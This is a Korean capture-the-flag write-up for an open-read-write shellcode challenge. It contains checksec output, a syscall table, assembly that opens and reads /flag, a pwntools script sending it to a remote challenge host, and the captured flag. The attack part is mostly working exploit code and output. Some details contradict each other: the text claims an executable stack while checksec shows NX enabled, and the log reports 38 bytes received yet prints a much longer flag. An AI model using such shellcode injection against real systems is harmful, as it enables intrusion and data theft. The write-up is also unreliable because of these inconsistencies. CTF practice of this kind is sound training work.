0. 한눈에 보기
open("/flag", O_RDONLY)
→ read(buf)
→ write(1, buf)
순서로 실행되는 ORW(Open-Read-Write) 형식의 기본 익스플로잇입니다.
원격 서버(3.111.45.95:20003)는 /flag
파일만 보호하고 있으며, 스택 영역은 실행이 가능하도록 설정되어 있으므로 ROP 없이 셸코드를 직접 주입하시면 됩니다.
1. 문제 환경
서비스 동작
code >
프롬프트가 나타나면 입력한 바이트열이 스택 버퍼에 복사된 뒤 jmp rsp
가 호출됩니다.
보호 기법 확인
checksec orw
[*] 64-bit ELF
Arch: amd64-64-little
NX: enabled
PIE: disabled
RELRO: no
Canary: no
2. 해결 전략
- 스택 버퍼가 실행 가능하므로 셸코드를 그대로 주입합니다.
- 리눅스 x86-64 시스템콜 3종을 사용합니다.
Syscall | rax | rdi | rsi | rdx |
---|---|---|---|---|
open |
2 | 경로 포인터 | flags = 0 | — |
read |
0 | 파일 디스크립터 | 버퍼 포인터 | 길이 |
write |
1 | 1 (stdout) | 버퍼 포인터 | 길이 |
/flag
문자열을 셸코드 내부에 푸시하여rdi
에 전달합니다.- 플래그 길이는 대체로 수십 바이트이므로 0x40(64) 바이트 이상을 읽도록 설정합니다.
3. 최종 셸코드
xor rax, rax ; NULL 삽입
push rax
mov rbx, 0x67616c662f ; "/flag"
push rbx
mov rdi, rsp ; 파일 경로 → rdi
xor rsi, rsi ; O_RDONLY
mov eax, 2 ; sys_open
syscall
mov rdi, rax ; fd
lea rsi, [rsp+0x100] ; 읽기 버퍼
mov edx, 0x49 ; 길이 0x49(73)
xor eax, eax ; sys_read
syscall
mov rdi, 1 ; stdout
mov eax, 1 ; sys_write
syscall
pwntools 예시 코드
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
shellcode = asm(open('orw.S').read())
p = remote('3.111.45.95', 20003)
p.recvuntil(b'code > ')
p.send(shellcode)
p.interactive()
실행 결과
$ python solve.py
[+] Opening connection to 3.111.45.95 on port 20003: Done
code >
[+] Receiving all data: Done (38B)
[*] Closed connection to 3.111.45.95 port 20003
Kuality{435b57e8e0a27d3e85f4301c7c9c2cda181d7d9da34c481e4e571380ee6e9fff}
- 위 과정을 통해 플래그
Kuality{435b57e8e0a27d3e85f4301c7c9c2cda181d7d9da34c481e4e571380ee6e9fff}
를 얻었으며, 실제 프로그램 실행에서도 정답으로 인식됨을 확인했다.